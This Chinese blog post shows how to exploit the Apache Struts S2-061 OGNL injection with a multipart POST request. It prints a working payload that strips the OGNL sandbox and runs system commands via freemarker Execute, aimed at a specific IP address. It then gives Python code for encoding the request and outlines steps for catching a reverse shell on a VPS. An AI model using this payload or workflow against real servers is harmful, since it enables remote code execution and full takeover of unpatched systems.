之前用get请求的方法写了个脚本,但是没法反弹shell,今天没事又研究了一下。
从下边的请求包可以看出来请求包用到了POST提交方式中的:
multipart/form-data
POST / HTTP/1.1
Host: 49.232.201.130:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
multipart/form-data是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 表单的 enctype 等于 multipart/form-data。直接来看一个请求示例:
POST http://www.xxx.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="text"
title
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png
PNG ... content of chrome.png ...
------WebKitFormBoundaryrGKCBY7qhFd3TrwA--
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary 开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以 --boundary-- 标示结束。
这种方式一般用来上传文件,各大服务端语言对它也有着良好的支持。
这也是今天遇到的问题
这里可以使用encode_multipart_formdata函数
# coding: utf-8
from collections import OrderedDict
from urllib3 import encode_multipart_formdata
params = OrderedDict([("username", (None, '130533193203240022', 'multipart/form-data')),
("password", (None, 'qwerqwer', 'multipart/form-data')),
('captchaId', (None, 'img\_captcha\_7d96b3cd-f873-4c36-8986-584952e38f20', 'multipart/form-data')),
('captchaWord', (None, 'rdh5', 'multipart/form-data')),
('\_csrf', (None, '200ea95d-90e9-4789-9e0b-435a6dd8b57b','multipart/form-data'))])
m = encode_multipart_formdata(params, boundary='----WebKitFormBoundaryKPjN0GYtWEjAni5F')
print m[0]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
运行结果:
b'------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\nContent-Disposition: form-data; name="username"\r\nContent-Type: multipart/form-data\r\n\r\n130533193203240022\r\n------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\nContent-Disposition: form-data; name="password"\r\nContent-Type: multipart/form-data\r\n\r\nqwerqwer\r\n------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\nContent-Disposition: form-data; name="captchaId"\r\nContent-Type: multipart/form-data\r\n\r\nimg\_captcha\_7d96b3cd-f873-4c36-8986-584952e38f20\r\n------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\nContent-Disposition: form-data; name="captchaWord"\r\nContent-Type: multipart/form-data\r\n\r\nrdh5\r\n------WebKitFormBoundaryKPjN0GYtWEjAni5F\r\nContent-Disposition: form-data; name="\_csrf"\r\nContent-Type: multipart/form-data\r\n\r\n200ea95d-90e9-4789-9e0b-435a6dd8b57b\r\n------WebKitFormBoundaryKPjN0GYtWEjAni5F--\r\n'
- 1
- 2
完整请求:
m = encode_multipart_formdata(params, boundary='----WebKitFormBoundaryKPjN0GYtWEjAni5F')
x=m[0]
resp=requests.post(url=url,data=x,headers = {'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundaryKPjN0GYtWEjAni5F' })
- 1
- 2
- 3
- 4
这里我post s2_061的参数成功了,问题解决
运行脚本尝试反弹shell
1、运行脚本输入地址
2、VPS监听一个端口
3、输入编码后的反弹shell的命令
4、成功
公众号回复:”s2_061“获取反弹shell的脚本